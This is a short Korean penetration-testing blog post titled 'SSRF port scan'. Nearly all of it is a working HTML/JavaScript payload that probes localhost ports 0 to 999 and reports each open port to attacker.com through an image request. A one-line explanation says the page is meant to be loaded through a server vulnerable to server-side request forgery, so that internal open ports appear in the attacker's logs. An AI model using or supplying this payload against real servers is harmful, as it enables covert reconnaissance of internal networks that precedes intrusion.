annyoung

SSRF port scan 본문

모의해킹

SSRF port scan

nopsled 2022. 12. 9. 11:08
<html>
<head>
</head>
<body>
<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i, false);
}
</script>
</body>
</html>

 

SSRF가 발생하는 서버에서 doucment.location.href나 url 파라미터에 넣어서 접속시키면 서버 로그에 /ping?port=?처럼 남는다.

 

서버에 열린 포트가 로깅된 화면

 

'모의해킹' 카테고리의 다른 글

XSS RCE  (0) 2023.01.30
source map 파일 강제 연동  (0) 2022.12.14
js source map file  (0) 2022.12.02
firebase exploit with firebase keys  (0) 2022.12.02
모의해킹 시 해시(hash)에 대해  (0) 2022.11.22
Comments